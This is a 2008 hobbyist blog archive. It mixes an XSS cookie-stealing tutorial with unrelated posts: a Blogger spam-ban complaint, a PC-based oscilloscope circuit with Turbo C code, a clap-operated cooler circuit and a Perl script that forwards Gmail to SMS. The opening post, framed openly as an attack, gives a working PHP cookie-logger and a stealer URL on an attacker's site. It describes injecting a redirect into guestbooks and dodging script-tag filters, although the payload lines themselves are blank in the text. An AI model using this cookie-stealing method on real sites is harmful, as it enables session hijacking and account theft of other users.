Creativz Mind

cookie hack

2008-10-11T11:49:00.000-07:00

Cookiestealing is one of the most fundamental aspects of XSS (cross site scripting).
Why is the cookie so important? Well, first you should see exactly what sort of
information is stored in a cookie. Go to a website that requires a login, and after
logging in erase everything in your address bar and type this line of code:

CODE
java script:alert(document.cookie)

After you press enter, you should see a pop-up window with some information in it
(that is, if this site uses cookies). This is the data that is stored in your cookie. Here's an

example of what might be in your cookie:

CODE
username=CyberPhreak; password=ilikepie

This is, of course, a very insecure cookie. If any sort of vulnerability was found that
allowed for someone to view other people's cookies, every user account is possibly
compromised. You'll be hard-pressed to find a site with cookies like these. However, it
is very common (unfortunately) to find sites with hashes of passwords within the cookie.
The reason that this is unfortunate is because hashes can be cracked, and oftentimes
just knowing the hash is enough.

Now you know why cookies are important; they usually have important information about the
user in them. But how would we go about getting or changing other users' cookies? This is
the process of cookiestealing.

Cookiestealing is a two-part process. You need to have a script to accept the cookie, and
you need to have a way of sending the cookie to your script. Writing the script to accept
the cookie is the easy part, whereas finding a way to send it to your script is the hard
part. I'll show you an example of a pHp script that accepts cookies:

CODE
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

And there you have it, a simple cookiestealer. The way this script works is that it accepts
the cookie when it is passed as a variable, in this case 'cookie' in the URL, and then
saves it to a file called 'log.txt'. For example:

CODE
http://yoursite.com/steal.php?cookie=

steal.php is the filename of the script we just wrote, ? lets the script know that we are
going to pass some variables to it, and after that we can set cookie equal to whatever
we want, but what we want to do is set cookie equal to the cookie from the site. This
is the second and harder part of the cookiestealer.

Most websites apply some sort of filter to input, so that you can't directly insert your
own code. XSS deals with finding exploits within filters, allowing you to put your own
code into a website. This might sound difficult, and in most cases it's not easy, but
it can be very simple.

Any website that allows you to post text potentially allows you to insert your own code
into the website. Some examples of these types of sites are forums, guestbooks, any site
with a "member profile", etc. And any of these sites that have users who log in also
probably use cookies. Now you know what sort of sites might be vulnerable to
cookiestealing.

Let's assume that we have a website that someone made. This website has user login
capability as well as a guestbook. And let's also assume that this website doesn't have
any kind of filtering on what can be put into the guestbook. This means that you can
put HTML and Javascript directly into your post in the guestbook. I'll give you an
example of some code that we could put into a guestbook post that would send the user's
cookie to out script:

CODE

Now whenever someone views the page that you posted this on, they will be redirected to
your script with their cookie from this site in the URL. If you were to look at log.txt
now, you'd see the cookies of whoever looked at that page.

But cookiestealing is never that easy. Let's assume now that the administrator of this
site got smart, and decided to filter out script tags. Now you code doesn't work, so
we have to try and evade the filter. In this instance, it's easy enough:

CODE
Click Me

In this case, when the user clicks on the link they will be sent to your stealer with their
cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how to get
around filters.

Credits : CyberPhreak

Blogger Buzz: Spam Barriers

2008-04-22T09:10:00.000-07:00

Blogger Buzz: Spam Barriers: "they shouldn"

I can't stand this when you are banned for a reason you didn't do

A friendly letter from Blogger

2008-04-22T08:41:00.001-07:00

A friendly letter from blogger

----------------------------------------------------------------------------------------------------------------------
Hello,

Your blog at: http://s60dotsis.blogspot.com/ has been identified as a potential spam blog. To correct this, please request a review by filling out the form at http://www.blogger.com/unlock-blog.g?lockedBlogID=1048725825982374113

Your blog will be deleted within 20 days if it isn't reviewed, and you'll be unable to publish posts during this time. After we receive your request, we'll review your blog and unlock it within two business days. If this blog doesn't belong to you, you don't have to do anything, and any other blogs you may have won't be affected.

We find spam by using an automated classifier. Automatic spam detection is inherently fuzzy, and occasionally a blog like yours is flagged incorrectly. We sincerely apologize for this error. By using this kind of system, however, we can dedicate more storage, bandwidth, and engineering resources to bloggers like you instead of to spammers. For more information, please see Blogger Help: http://help.blogger.com/bin/answer.py?answer=42577

Thank you for your understanding and for your help with our spam-fighting efforts.

Sincerely,

The Blogger Team

P.S. Just one more reminder: Unless you request a review, you won't be able to use your blog. Click this link to request the review: http://www.blogger.com/unlock-blog.g?lockedBlogID=1048725825982374113

-----------------------------------------------------------------------------------------------------------------------

Two of my blogs banned by blogger in the name of spamming. The fun in it is that, I didn't do any spamming. I appreciate the artificial intelligence put up by blogger. This is'nt fair. One of my blog was blocked 2 weeks before. I requested the Unlock Review. I didnt get any response yet. But instead they block one of my most popular blog which had over 1000 unique visits per day. I am writing this post well depressed. All by work for about a year! Now this is what by Blogger Dashboard look like. Will I bounce back...

How is a Bomb made?

2008-04-22T08:07:00.000-07:00

In this week’s extra-long installment, we explain why light is
our #1 enemy, wax poetic about the importance of databases, and take
you behind-the-scenes at our new podcasting table, where many
poor-tasting beverages are freely consumed.

Hacking Windows Xp

2008-04-16T22:14:00.001-07:00

PC-BASED OSCILLOSCOPE

2008-03-29T06:15:00.000-07:00

This circuit conditions different signals
of frequency below 1 kHz and
displays their waveforms on the PC’s
screen. The hardware is used to condition
the input waveform and convert it to the
digital format for interfacing to the PC. The
software for acquiring the data into the PC
and displaying the same on its screen is
written in Turbo C.
The input waveform (limited to 5V
peak-to-peak) is first applied to a full-wave
rectifier comprising op-amps A1 and A2
of quad op-amp LM324 (IC4) and a zerocrossing
detector built around LM3914 dot/
bar display driver (IC8) simultaneously.
The full-wave rectifier rectifies the input
signal such that the negative half cycle
of the input signal is available in the positive
side itself, so both the half cycles are
read as positive when it is given as input to
the ADC. During positive half cycle, diode
D3 is on and diode D4 is off, and op-amps
A1 and A2 act as inverters. Thus the output
is a replica of the input. During the negative
half cycle, diode D3 is off and diode D4
is on. With R2=R3=R4=R5=R6=R=330
ohms, the voltage (V) at output pin 1 of opamp
A1 is related to the input voltage (Vi)
as follows:
Vi/R +V/(2R)+V/R=0
V= -(2/3)Vi
The final output voltage (Vo) at pin 7
of op-amp A2 is given by the following
relationship:
Vo=(1+R/2R)(-2Vi/3)= -Vi
As Vi is negative, the output voltage is
positive.
The zero-crossing detector detects
whether the cycle is positive or negative.
It is the most critical part of the circuit
and if it operates improperly, the symmetry
of the analogue signal displayed in the
PC monitor gets affected. At the zero-crossing
instant when the input signal transits
to negative side, the zero-crossing detector
informs the PC by taking pin 15 of 25-
pin ‘D’ connector of the parallel port high.
The input at pin 15 of ‘D’ connector goes
low when the input signal transits to positive
side. The zero-crossing detector communicates
with the PC through bit D3 of
the status port 379Hex.
The zero-crossing detector has been
realised using LM3914 IC. You may adjust
VR1 such that the last LED (LED10) goes
off when the input signal transits negative
side of the input waveform. The LM3914
itself rectifies the input signal and allows

only positive half of the cycle.
The output from the full-wave rectifier
is applied to the input of a sample-and-hold
circuit comprising op-amps A3 and A4 of
the LM324 (IC5), capacitor C3, transistor
T1 (SL100), and analogue switch IC6
(CD4016). This circuit samples the input
signal, i.e. it divides the waveform into a
number of voltages or points and inputs
each voltage level (with a delay) to the
ADC for conversion into the digital format.
Op-amps A3 and A4, along with a switch
from IC CD4016 and a 1500pF capacitor
with sampling time of 20 μs, are used as
voltage followers/buffers.
When the base of transistor T1 is made
low via strobe pin 1 (bit Do of I/O port
37A) of 25-pin D connector of the parallel
port, the transistor stops conducting and
the voltage at its collector goes high. The
high voltage at the collector of transistor
T1 closes the switch inside CD4016. As a
consequence, the analogue input signal is
applied to the capacitor, which charges
towards the signal voltage.
When the switch is subsequently
opened by applying a logic-high voltage
from pin 1 of ‘D’ connector to the base of
transistor T1, the capacitor retains the voltage
with a loss of about 20 mV/sec and
this voltage is given to input pin 6 of the
ADC0804 (IC3) via buffer A4 for conversion
to the digital format. When the number
of sampling points in the input signal
waveform is increased, the reconstructed
waveform becomes more accurate.
The ADC0804 is compatible with microprocessors.
It is a 20-pin IC that works
with 5V supply. It converts the analogue
input voltage to 8-bit digital output. The
data bus is tristate buffered. With eight
bits, the resolution is 5V/255 = 19.6 mV.
The inbuilt clock generator
circuit produces a frequency of
about 640 kHz with R1=10 kiloohms
and C4=150 pF, which are
the externally connected timing
components. The conversion
time obtained is approximately 100 μs. The
functions of other pins are given below:
Pin 1 (CS): This is active-low chipselect
pin.
Pin 2 (RD): This active-low pin enables
the digital output buffers. When high,
the 8-bit bus will be in Hi-Z state.
Pin 3 (WR): This active-low pin is used
to start the conversion.
Pin 9 (Vref/2): This is optional input
pin. It is used only when the input signal
range is small. When pin 9 is at 2V, the
range is 0-4V, i.e. twice the voltage at pin 9.
Pin 6 (V+), Pin 7(V-): The actual input
is the difference in voltages applied to
these pins. The analogue input can range
from 0 to 5V.
In this circuit, pins 1 and 2 are always
made low, so the IC and the buses are
always enabled. Pin 9 is made open, as
we use analogue input with 0-5V range.
Pin 7 is grounded.
Pin 5 (INTR): This active-low pin indicates
the end of conversion. It is connected
to pin 17 (bit D3 of I/O port 37A) of ‘D’
connector. (Note that this bit is inverted.)
The start-of-conversion command via
pin 16 of ‘D’ connector is applied to pin 3
of the ADC0804. Since we cannot read 8-
bit digital data output from ADC through
the 4-bit status port at a time, we divide it
in two 4-bit parts and read. Hence the
ADC data output is multiplexed through
two 4-bit sections of octal buffers of IC1
(74244) with the help of output-enable signals
from pins 2 and 9 of ‘D’ connector to
pins 1 and 19 (OE1 and OE2, respectively)
of IC1. The digital data output from IC1
is interfaced to the PC via pins 13 (S4), 12
(S5), 10 (S6), and 11 (S7) of status input
port 379H of ‘D’ connector.
The circuit uses 9V and 5V regulated
DC supply voltages as shown in the circuit
diagram.
A PC printer port is an inexpensive
platform for implementing low-frequency
data acquisition projects. Each printer port
consists of data, status, and control port
addresses. These addresses are in sequential
order; for example, if the data port
address is 0x0378, the corresponding status
port address is 0x0379 and the
control port address is 0x037a. The port
addresses for parallel ports are summarised
below:
(EFY Lab note. For details of the parallel
port pins, refer ‘PC-based Dial Clock
with Timer’ project published in June 2002
issue of EFY.)
The software, written in C programming
language, is user-friendly and easyto-
understand. It gets data from the developed
hardware circuit and displays it in
the graphical screen with some changes.
The C program includes two user-defined
functions with the main function:
graphics( ) and settings( ). The settings( )
function is used to adjust the voltage and
time scale. The graphics( ) function is used
to display the waveform on the screen. The
sample control signal is used to close the
switch in the sample-and-hold circuit, so
the capacitor charges towards the analogue
input voltage. After the sampling is over,
the switch is opened using the same signal.
Then the start-of-conversion control signal
is given to start the conversion. The sampling
time is approximately 20 μs and the
conversion time is approximately 100 μs.
After the conversion is over, the 8-bit
binary data for the specific voltage sample
is available in the data bus of the ADC.
Since the PC accepts only 4-bit data through
the status port (379H), the 8-bit data must
be split into two 4-bit data, which are
accepted one after another. This is done by
IC 74244, which is controlled by D0 and D7
bits of the data port. Then the two 4-bit
data are packed to get the final 8-bit data.
The default BGI directory path is set as
‘c:\tc\bgi’. The sampling time is decided
by the ‘for’ loop that uses the samp value.
The maximum delay produced should be
greater than 20 μs, which is the maximum
acquisition time of the capacitor. When the
sample value is increased, the number of
points on the input signal decreases and
therefore the accuracy decreases. The time
scale may be calibrated with 50Hz sine
wave as reference.
Note. Mount a 25-pin D-type female
connector on the PCB. Use 25-pin ‘D’ maleto-
male connector for connecting PCB to
computer’s female 25-pin LPT port ‘D’ connector.
It is a demo PC based oscilloscope
only and may not be suitable for real time
application.
Printer Data port Status port Control port
LPT1 0x0378 0x0379 0x037a
LPT2 0x0278 0x0279 0x027a
LPT3 0x03bc 0x03bd 0x03be

PARTS LIST
Semiconductors:
IC1 - 74244
IC2 - 7805
IC3 - ADC 0804
IC4, IC5 - LM324
IC7 - CD4016
IC8 - LM3914
T1 - Transistor SL100
D1-D4 - 1N4001 switching diode
L1-L10 - Red LED
Resistors (all ¼-watt, ±5% carbon,
unless stated otherwise):
R1 - 10kilo-ohm
R2-R6 - 330-ohm
R7 - 1Mega-ohm
R8-R17 - 470-ohm
R18 - 1kilo-ohm
R19 - 10kilo-ohm/1watt
VR1, VR2 - 10kilo-ohm Preset
Capacitors:
C1 - 1000μF, 25V electrolytic
C2 - 0.1μF, ceramic
C3 - 1500PF, ceramic
C4 - 150PF, ceramic
Miscellaneous:
25 PIN D-Connector Female
2 PIN SIP CONNECTOR
PCB

PROGRAM IN ‘C’ FOR PC OSCILLOSCOPE

/* PROGRAM FOR PC OSCILLOSCOPE */
/*by M.M.VIJAI ANAND B.E (E.E.E) C.I.T */
#include
#include
#include
#include
#include
#include
#define data 0x0378
#define stat 0x0379
#define cont 0x037a
void graphics(int[],int[]); //FUNCTION TO DISPLAY
GRAPH AND WAVEFORM
void settings(); //FUNCTION TO CHANGE
THE SETTINGS(TIME AND VOLTAGE)
long int samp=7000; //PLEASE CHECK THESE VALUES
WHEN CONVERSION IS
// NOT PROPER(+-3000)
float scale=1;
float times=1;
char again=’a’;
int number=800;
void main()
{
int i,j,k,a[1700],b[1700],c[1700],e[1700]; //This value
1700 is given when we want to compress the waveform
//done when we compress the time scale
long int b1;
clrscr();
settings();
while(again==’a’)
{
for(i=0;i{
outportb(cont,0x05^0x0b);
outportb(cont,0x04^0x0b);
e[i]=(inportb(stat)^0x80)&0x08;
for(b1=0;b1<=samp;b1++) //sampling time
is approximately 50 μsec
{}
outportb(cont,0x05^0x0b);
outportb(cont,0x01^0x0b);
outportb(cont,0x05^0x0b);
while((inportb(cont)&0x08)==0x00) //converstion time
is approximately 100 μsec
{}
outportb(data,0xf0);
a[i]=(inportb(stat)^0x80)&0xf0;
outportb(data,0x01);
b[i]=(inportb(stat)^0x80)&0xf0;
outportb(data,0xff);
}
for(i=0;i{
a[i]=a[i]>>4;
c[i]=a[i]+b[i];
c[i]=c[i]*0.0196*45/scale;
}
graphics(c,e);
}
}
void graphics(int a1[],int e1[])
{
int gd=DETECT,gm,max,may,a,b,c,im,error,get=5;
char str[10],*st=”-”,d;
clrscr();
initgraph(&gd,&gm,”c:\\tc\\bgi”); //use
default bgi path
error=graphresult();
if(error != grOk)
{
printf(“Graphics error %s /n”,grapherrormsg(error)); /
/reports error when
//graphics is not set
printf(“PRESS ANY KEY TO EXIT”);
getch();
exit(1);
}
setbkcolor(LIGHTCYAN);
setcolor(MAGENTA);
settextstyle(0,0,2);
max=getmaxx();
may=getmaxy();
may=may-20;
outtextxy(0,may,”OSCILLOSCOPE”);
settextstyle(0,0,1);
setcolor(BLUE);
outtextxy(max-200,may+2,”press ‘a’ for next sample”);
setcolor(BROWN);
outtextxy(max-200,may+10,”press any key to exit”);
setcolor(GREEN);
settextstyle(0,0,0);
for(a=0;a<=may;a+=get)
{line(0,a,800,a);
}
for(a=0;a<=max;a+=get)
{
line(a,0,a,may);
}
setcolor(BROWN);
setlinestyle(0,3,0);
line(max/2,0,max/2,may);
line(0,may/2,max,may/2);
setcolor(RED);
for(a=0,c=0;a<=max;a+=50,c++)
{
putpixel(a,may/2,BLUE);
itoa((a-c*30)*times/2,str,10);
outtextxy(a+3,may/2+3,str);
}
for(b=(may/2)-45,c=1;b>=0;b-=45,c++)
{
itoa((c*scale),str,10);
putpixel((max/2),b,BLUE);
outtextxy((max/2)+3,b+3,str);
}
for(b=(may/2)+45,c=1;b<=800;b+=45,c++)
{
itoa((c*scale),str,10);
strcat(st,str);
putpixel((max/2),b,BLUE);
outtextxy((max/2)+2,b+2,st);
strcpy(st,”-”);
}
setcolor(MAGENTA);
outtextxy(max-80,may/2+30,”time(msec)”);
settextstyle(0,1,0);
outtextxy((max/2)-10,0,”volt(s)”);
setlinestyle(0,0,0);
setcolor(RED);
moveto(0,may/2);
for(b=0,c=0;b<=number;c+=1, b++)
{
if(e1[b]!=0x08)
{
lineto(c*times,((may/2)-a1[b]));
}
else
{
lineto(c*times,((may/2)+a1[b]));
}}
again = getch();
closegraph();
restorecrtmode();
}
void settings()
{
int gd=DETECT,gm,error,max,may,b;
char c,d,e[2],m,*n;
times=1;
initgraph(&gd,&gm,”c:\\tc\\bgi”); //default bgi
directory path
error=graphresult();
if(error != grOk)
{
printf(“Graphics error %s /n”,grapherrormsg(error));
printf(“PRESS ANY KEY TO EXIT”);
getch();
exit(1);
}
max=getmaxx();
setbkcolor(LIGHTBLUE);
settextstyle(1,0,0);
setcolor(BROWN);
outtextxy(max/2-60,20,”SETTINGS”);
line(0,60,800,60);
setcolor(MAGENTA);
settextstyle(1,0,1);
outtextxy((max/4)-70,80,”Voltage Scale”);
settextstyle(0,0,0);
setcolor(BROWN);
outtextxy(10,120,”DEFAULT :”);
outtextxy(10,120,” 1 unit = 1 volt”);
setcolor(RED);
outtextxy(10,170,”TYPE ‘C’ TO CHANGE AND ‘D’ TO
DEFAULT”);
c=getch();
if(c==’c’)
{
outtextxy(10,200,”TYPE 1 for 1 unit = 2 volt”);
outtextxy(10,240,”TYPE 2 for 1 unit = 4 volt”);
outtextxy(10,300,”TYPE 3 for user defined”);
switch(getch())
{
case ‘1’ :
{ scale=2;
break;
}
case ‘2’ :
{scale = 4;
break;
}
case ‘3’ :
{
outtextxy(10,340,”TYPE VALUES FROM 1 TO 9 (minimize)
or m to (magnify)”);
d=getch();
if(d==’m’)
{
outtextxy(10,360,”TYPE a (1 unit = 0.5 volt) or b (1
unit = 0.25 volt)”);
switch(getch())
{
case ‘a’:
{
scale=0.5;
break;
}
case ‘b’:
{
scale=0.25;
break;
}
}
}
else
{ e[0]=’0';
e[1]= ‘0’;
e[2]=d;
scale=atoi(e);
break;
}
}
}
}
setcolor(BROWN);
outtextxy(10,380,”TYPE C TO CHANGE TIME SETTINGS”);
m=getch();
if( m==’c’)
{
cleardevice();
outtextxy(10,20,”X AXIS 1 unit= 10msec CHANGE TO
x(10msec)”);
outtextxy(10,40,”TYPE ‘a’ IF x IS (2 to 9) ,’b’ IF x IS (10
to 99) AND ‘c’ IF x IS (.5 TO .9)”);
switch(getch())
{
case ‘a’:
outtextxy(10,60,”x value is ....”);
n[0]=getch();
times=atoi(n);
itoa(times,n,10);
outtextxy(10,70,n);
break;
case ‘b’:
outtextxy(10,60,”x value is ....”);
n[0]=getch();
n[1]=getch();
times=atoi(n);
itoa(times,n,10);
outtextxy(10,70,n);
break;
case ‘c’:
outtextxy(10,60,”x value is...”);
getch();
n[0]=getch();
times=atoi(n)*0.1;
outtextxy(10,70,”scale decremented”);
break;
}
number=800;
if(times<1)
{number=number/times;
}
getch();
}
closegraph();
restorecrtmode();
}

Air Cooler Hack

2008-03-22T05:38:00.001-07:00

Here is simple Circuit, through which we can make our ordinary fan or cooler work with the help of our bare hands. All you have to do is clapp.

Block Diagram

Block Diagram Details

In this mode, the speed of the cooler may varied by making sound vibration (Clap). The speed variation is in ten steps

The diagram consists of four blocks. They are

1. Microphone

2. Sound-operated trigger pulse generator

3. Clock pulse generator

4. Clock pulse counter

5. Load operation

1. Microphone

It is an electro acoustic transducer, used to convert the

sound signal into electrical pulse.

2. Sound-operated trigger pulse generator

The trigger pulse generator is used to produce the trigger. A NPN transistor is used for its generation. BC-148 transistor is used to amplify the audio signals in Class-C mode.

3. Clock Pulse Generator

The Clock pulse generator (IC NE555) works in mono stable mode. It produces a clock pulse, when a trigger pulse is got at the input terminal.

4. Clock Pulse Counter

A decade counter is used for counting the clock pulses. The decade counter counts the number of inputs clock pulses and gives the output based on the input.

5. Load Operations

An electronic controlled switch is used for the load operations [Relay]. A NPN transistor is used to drive the relay.

Circuit Diagram

Circuit Explanation

A BC 148 (NPN) transistor is employed as a trigger pulse generator. It operates in Class C mode of amplification. NE555 IC timer is employed as a clock pulse generator. It operates in mono stable mode. Therefore, it is a mono stable multi vibrator. It generates the clock frequencies.

The clock pulse output applied at pin 3 of NE555 is applied to the pin 14 of decade counter IC CD 4017. The Decade counter counts the clock pulses. When the output of pin 2 goes high, the first speed relay is activated. At this time, the other two relays are in OFF state. At the next trigger, the pin 4 goes high, while the other two pins goes low. At the fourth pulse the IC resets, and the cooler turns OFF. At the next clap, the cooler turns ON.

In sound operated mode, the electro acoustic mic (Conducer mic) converts the sound signal into electrical pulse. This electrical pulse is given to the trigger pulse generator. When the mic produces the electric pulse, the trigger pulse generator generates the trigger pulse. The output of the trigger pulse generator is given to the clock pulse generator. When the clock pulse generator receives the trigger pulse it produces the clock pulse. The clock pulse counter counts the clock pulse and drives the output load based on the input clock pulse.

Basic Component details

Microphone [Condenser]

It is used as a transducer. For this a condenser microphone is used. It converts the sound energy into electrical energy.

Transistor BC-148 [Trigger Pulse Generator]

It is a NPN Transistor. It is used in this circuit with a trigger pulse generator.

It amplifies the audio signals in Class C mode.

Transistor BEL-187 [Relay Driver]

It is a NPN transistor. It is used to drive relays.

IC NE-555 [Clock Pulse Generator]

Pin Details of IC NE 555

Internal block diagram of IC
NE-555

The IC
NE-555 is an integrated circuit. It is timer IC. It is highly stable for
generating accurate time delay or oscillation. It can operate both as mono
stable and astable multi vibrator. In a mono stable mode, it can produce
accurate time delays from microseconds to hours. In the astable mode, it can
produce rectangular waves with a variable duty cycle.

The IC NE-555 timer consists of two
comparators, a flip-flop, a discharge transistor and a resistive voltage
divider.

In this circuit the IC NE-555 works in
mono stable mode of operation.

Mono Stable operation of IC NE-555

At the
beginning the output will be at stable state (low), because trigger pin 2 is at
high state. At this situation, the transistor T1 is in conduction state which
connects capacitor to ground. Hence the situation exists and continues. When a
trigger pulse is given at pin 2, the trigger comparator output will go to high
state. It set the flip-flop and hence the output at 3 will be high. Now, the
transistor is driven to cut-off and the capacitor is not connected to ground.
Thus the capacitor starts charging from Vcc through R.

Mono stable waveform

When the
charge across the capacitor reaches 2/3 V_cc, the threshold
comparator output become high and flip-flop is reset. Thus the output at pin 3
becomes low. At this stage transistor T1 again comes to conduction and the
capacitor voltage discharges through transistor T1. Since the condition
continues, the output remains at low till the trigger pin 2 is connected to
ground. The waveforms at trigger, threshold and output pin 3 are shown in the
above figure.

IC CD-4017 [Clock pulse counter]

It is
a 16 pin IC. It is from the CMOS family. The clock pulse counter is based

on
the popular decade counter IC CD-4017BE.

At the first trigger pulse input the pin
3 will get the high logic output. So pin 3 (Q₀) is given to the
input of the base of the transistor T2 which controls the first speed of the
relay. At the third pulse, the pin 4 (Q₂) will get the high logic.
The output of Q₂ is given to the base of T₃ which
controls the second speed of the relay. Similarly at the next pulse Q₃
get high logic and given to base of the T₄ which controls the third
speed of the relay. At the next clock pulse the pin 10 (Q₄) gets the
high logic which is given to the “RESET” terminal (pin 15). Now the working
starts from the beginning.

Relays

The Relays
are used in this circuit to operate the load. It is an automatic switch with
conducts that can be closed or opened by current in the relay coil. In some
cases the coil is also called a solenoid. However, a solenoid is usually for
one contact, while relay is for multiple contacts.

In
operation the relay is activated by current in coil its magnetic field attracts
the iron armature which has the movable switch contacts. The construction can
allow either DC or AC operation.

Protect Your Home with Laserbeams

2008-03-21T09:34:00.000-07:00

Protect Your Home with Laserbeams - The best home videos are here

Here is an easy to make, low cost laser beam security system that beats anything I have ever seen!! My inspiration for this idea is from Brad Graham & Kathy McGowan of Atomic Zombie.

MobiGM

2008-03-21T09:14:00.000-07:00

MobiGM is a small utility that periodically checks your GMail inbox, and sends updates to a mobile phone via email. You just have to set up a some filters with Gmail's filtering sys to forward the messages directly to your phone and be happy with that, but MobiGM allows you to dynamically react to what appears in your mailbox (which we will exploit in future projects).

Technologies used/Requirements:

* GMail / atom feeds
* PERL
o XML::Parser
o Net::SMTP
* cron
* Linux
* BASH
* wget

How does it work?
GMail users can subscribe to an atom feed that contains unread emails in their inbox. We will write a simple script to download the atom feed, parse it, figure out if any emails are new, and forward the new emails to our cell phone address. Note that there are still some pay-as-you-go cellphone providers that do not charge for receiving text messages (even from email), so this can be a very inexpensive way to keep track of your inbox on the go.

There is a lot of potential to add power to this application. With a little knowledge of PERL, you could create custom filters (including things impossible with GMail filters such as "only forward during xx hours of the day") and reactions to receiving emails.

Let's begin.

Receiving the feed
Note: You could do this also in PERL. I'm doing it in wget.

The first thing the script needs to do, is receive the atom feed for your GMail inbox. We will use GNU wget to obtain the feed. In it's most basic form, wget's syntax is:

wget

However, we need to specify a few additional parameters, namely HTTP authentication username and password. As well, we want to force wget to always download to the same filename. It's normal action is to not overwrite files that already exist, so we have to override it. So, the syntax becomes:

wget -O --http-user= --http-password=

For GMail, the parameters are as follows:

URL: https://mail.google.com/gmail/feed/atom
http-user : your.e.mail@gmail.com
http-password: your gmail password

Note that since the atom feed is on an https server, we are not passing our username/password in the clear.

For the article, let's force wget to save into a file called 'atomfeed'. Our command is now:

wget -O atomfeed https://mail.google.com/gmail/feed/atom --http-user=gmail.user@gmail.com --http-password=GMailPassword

Now that we have the atom feed, it is time to parse it.

Parsing the Atom feed
We will use a short PERL script to parse the atom feed, and forward pertinent messages to the cellphone.

Atom feeds are conceptually the same as RSS feeds, in case you have not heard of both. They are XML documents that contain a summary of information: ie, blog entries, news entries, or in this case, your unread messages in your inbox. The structure of the GMail atom feed is as follows:

* feed - top level tag
o fullcount - Number of unread emails
o entry - tag for each unread email
+ title - Email subject line
+ id - Unique identifier for each inbox entry
+ summary - Short snippet of email contents
+ author - Parent tag for source's information
# email - Author's email
# name - Author's name

Since the atom feed is a properly formatted XML document, we will use the PERL module XML::Parser to parse the data. First, we'll set up some variables for parsing and for keeping track of our state.

#!/usr/bin/perl -w

use XML::Parser;
use Net::SMTP;

open(ATOM, "atomfeed") or die ("Failed to get atomfeed");

my $page;

#load the atom feed
while ($line = ) {
$page = $page . $line;
}
close(ATOM);

my $curID = "";
my $curTitle = "";
my $curContents = "";
my $curAuthor = "";
my $curAuthorEmail = "";

my $elementtext;
my @context;
my @oldIDs;
my @newIDs;

my $parser = new XML::Parser();

The code's pretty self explanitory. We load the atom feed into the $page variable. For use with the parsing functions, we initialize five variables ($curID. $curTitle, $curContents, $curAuthor, $curAuthorEmail) used to keep track of the entry currently being parsed. As well we create variables to keep track of our parsing state ($elementtext and @context). Ignore the ID-related variables, we'll deal with them later.

Our next step is to use XML::Parser to parse the atom feed. This is accomplished by the following code:

$parser->setHandlers(
Start => \&startTag,
Char => \&parseTag,
End => \&endTag, );

$parser->parse($page);

What we've done is told the XML parser to use three supplied subroutines (passed by reference) as callbacks during parsing. The startTag routine will be called whenever the parser encounters a new tag. Likewise, the parseTag routine is called as we encounter text in each tag, and the endTag routine is called whenever the parser encounters the end of a tag. The final line of the snippet executes the parser, parsing the atom feed using our supplied functions.

We have to supply these subrountines, since they detail how we deal with the data we're parsing. Put these at the bottom of the perl script since they're separate subrountines.

sub startTag {
my ($p, $tag, %atts) = @_;
push @context, $tag;
}

sub parseTag {
my ($p, $text) = @_;
return if ($text !~ /\S/);
$text =~ s/^\s*//;
$text =~ s/\s*^//;
$elementtext .= $text;
}

sub endTag {
my ($p, $tag) = @_;

$parentElem = $context[-2];

if ($tag eq "id" && $parentElem eq "entry") {
$curID = $elementtext;
} elsif ($tag eq "title" && $parentElem eq "entry") {
$curTitle = $elementtext;
} elsif ($tag eq "summary" && $parentElem eq "entry") {
$curContents = $elementtext;
} elsif ($tag eq "email" && $parentElem eq "author") {
$curAuthorEmail = $elementtext;
} elsif ($tag eq "name" && $parentElem eq "author") {
$curAuthor = $elementtext;
} elsif ($tag eq "entry") {
push @newIDs, $curID;
my $old = 0;

sendMail("Subject:$curTitle\n\nFrom:$curAuthorEmail [$curAuthor]\n$curContents");

}
$elementtext = "";
pop @context;
}

The startTag and parseTag subroutines are trivial. We're using the @context array as a stack to keep track of our state within the parser. Each time we enter a tag and begin to parse it's children or data, we push the element name onto the stack. We use this in the endTag subroutine to determine what to do with the parsed text. The parseTag subroutine, which is run during the parsing of data nodes, appends whatever data is supplied to the routine to the $elementtext variable (which will be used in endTag.

The endTag subroutine looks at the current context in the node tree and saves the current $elementtext to the proper variable. Whenever we encounter the end of an entry tag, we send the email to the server. This is a dirty solution: a nicer solution would be to save all the entry data into a data structure and later deal with each entry saved (an exercise for the reader ;) ). The final thing the procedure does is pop the finished tag off the @context stack and clear the $elementtext buffer.

Note that if you want to change the format of the sent email, change the formatting in the sendMail function call, above.

Sending the Email
As shown in endTag, we use sendMail to send the email to the cellphone. The source code is as follows:

sub sendMail {

my @message;
push @message, $_[0];

$smtp2 = Net::SMTP->new('smtp.server.ca');

$smtp2->mail('source.email@isp.ca');
$smtp2->to('cellphoneemail@provider.com');
$smtp2->data();
$smtp2->datasend(@message);
$smtp2->dataend();
$smtp2->quit;

}

sendMail just uses the Net::SMTP module to send an email. You need to provide a SMTP server, source email address, and your cellphone's email address.

What about duplicates?!?!
There's a major flaw with our current solution: every time our perlscript runs, it will send an email for all unread messages in our mailbox! That means that, until we read the messages, we will receive text messages every n minutes for the same messages. Obviously this is unsuitable!

Solution
We will save the ID's of messages we have notified the cellphone of in a file. Before emailing the cellphone, we will compare with a saved list of ID's for messages that we have already sent to the cellphone. That way, the phone only receives notification of new emails.

The first step is to load all the old ID's into an array. Place the code snippet below after the variable declaration (first snippet) and before the parser initialization (second snippet)

#load the previous inbox ID's
open(OLDID, "ids.old");
while ($line = ) {
chomp $line;
push @oldIDs, $line;
}
close(OLDID);

We open the file 'ids.old' (assumably saved by a previous run of the script), and load each line of the file into an array. We will modify endTag to look through this array before determining whether or not it should send the email address, by changing the function's code as follows:

sub endTag {
my ($p, $tag) = @_;

$parentElem = $context[-2];

if ($tag eq "id" && $parentElem eq "entry") {
$curID = $elementtext;
} elsif ($tag eq "title" && $parentElem eq "entry") {
$curTitle = $elementtext;
} elsif ($tag eq "summary" && $parentElem eq "entry") {
$curContents = $elementtext;
} elsif ($tag eq "email" && $parentElem eq "author") {
$curAuthorEmail = $elementtext;
} elsif ($tag eq "name" && $parentElem eq "author") {
$curAuthor = $elementtext;
} elsif ($tag eq "entry") {
push @newIDs, $curID;
my $old = 0;
#was email in oldids?
foreach $id (@oldIDs) {
if ($curID eq $id) {
$old = 1;
}
}
if ($old == 0) {
sendMail("Subject:$curTitle\n\nFrom:$curAuthorEmail [$curAuthor]\n$curContents");
}
}
$elementtext = "";
pop @context;
}

As you can see, we are now comparing each entry's id to the loaded list of old ID's. Only if the id is not in the list do we notify the cell phone of the waiting message. As well, we are saving every message ID (old or new) in the array @newIDs.

